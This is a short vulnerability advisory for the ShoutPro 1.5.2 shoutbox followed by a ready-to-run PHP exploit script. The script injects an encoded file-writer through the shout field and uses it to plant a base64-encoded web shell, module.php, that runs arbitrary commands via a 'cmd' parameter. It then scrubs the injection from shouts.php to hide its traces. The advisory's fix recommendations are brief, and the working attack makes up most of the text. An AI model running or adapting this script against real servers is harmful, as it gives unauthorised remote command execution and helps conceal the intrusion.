ShoutPro 1.5.2 - arbitrary code execution

Advisory Content :

<?/*
File: shoutbox.php
Affects: ShoutPro 1.5.2 (may affect earlier versions)
Date: 17th April 2007

Issue Description:
========================================================================
===
ShoutPro 1.5.2 fails to fully sanitize user input ($shout) that it writes
to the shouts.php file when adding a new message, this can result in the
injection and execution of arbitrary php code.
========================================================================
===

Scope:
========================================================================
===
The vulnerability will in most cases allow an attacker to execute commands

on the system, the issue may be further perpetuated if the user has
followed
the official documentation and chmoded the base folder to '777'
========================================================================
===

Recommendation:
========================================================================
===
1) Add code to perform strip_tags() on $shout in shoutbox.php
2) Prevent direct access to shouts.php with a .htaccess file
========================================================================
===

Discovered By: Gammarays
*/?>

<?php

echo "########################################################n";
echo "# Special Greetings To - Timq,Warpboy,The-Maggot #n";
echo "########################################################nnn";

//Writes Files - Under 100 bytes to meet requirements
$temppayload =
"%3C%3F%24a%3Dfopen%28%24_POST%5B%27f%27%5D%2C%27w%27%29%3Bfwrite%28%24a
%2Cbase64_decode%28%24_POST%5B%27d%27%5D%29%29%3Bfclose%28%24a%29%3B%3F%
3E";

//Execute Commands + Performs Cleanup
$payload =
"PD9waHAgCgppZihpc3NldCgkX0dFVFsnY21kJ10pKQp7CmVjaG8gc2hlbGxfZXhlYyh1cmx
kZWNv".

"ZGUoJF9HRVRbJ2NtZCddKSk7CmRpZSgpOwp9CgppZigkX1BPU1RbJ2NsZWFuJ109PSdkb2l
0Jykg".

"Y2xlYW4oKTsKCmZ1bmN0aW9uIGNsZWFuKCkKewogICRsMSA9IGZpbGUoJ3Nob3V0cy5waHA
nKTsK".

"ICAkZmggPSBmb3Blbignc2hvdXRzLnBocCcsJ3cnKTsKICBpZighJGZoKSBkaWUoKTsKCiA
gZm9y".

"ZWFjaCAoJGwxIGFzICRsMikgCiAgewoJaWYoIXN0cnN0cigkbDIsIiRhPWZvcGVuIikpCgl
7CgkJ".

"ZnByaW50ZigkZmgsJGwyKTsKCX0gICAgCiAgfQogIGZjbG9zZSgkZmgpOwp9Cgo/Pg==";

if($argc!=2) die("Usage: <url> ntEx: http://www.example.com/shoutpro/n");

$url = $argv[1];
//$url = "http://localhost/ShoutPro1.5.2/";

$ch = curl_init($url . "shoutbox.php");
if(!$ch) die("Error Initializing CURL");

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
if(!$res) die("Error Connecting To Target - Is URL Valid?");

echo "[ ] Deploying Temp Payload...n";

curl_setopt($ch, CURLOPT_URL,$url . "shoutbox.php?action=post");
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch,
CURLOPT_POSTFIELDS,"name=Beethoven&pass=&shout=".$temppayload."&post=Pos
t");
$res = curl_exec($ch);
if(!$res) die("Error Deploying Temp Payload");

echo "[ ] Deploying Main Payload...n";

curl_setopt($ch, CURLOPT_URL,$url . "shouts.php");
curl_setopt($ch, CURLOPT_POSTFIELDS,"f=module.php&d=".$payload);
$res = curl_exec($ch);
if(!$res) die("Error Deploying Main Payload");

echo "[ ] Attempting Clean Up...n";

curl_setopt($ch, CURLOPT_URL,$url . "module.php");
curl_setopt($ch, CURLOPT_POSTFIELDS,"clean=doit");
$res = curl_exec($ch);
if(!$res) die("Error - Clean Up Failed");

echo "[ ] Clean Up Completen";
echo "[ ] Shell Accessible at ".$url."module.php?cmd=<yourcommand>";

curl_close($ch);
?>

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ShoutPro 1.5.2 - arbitrary code execution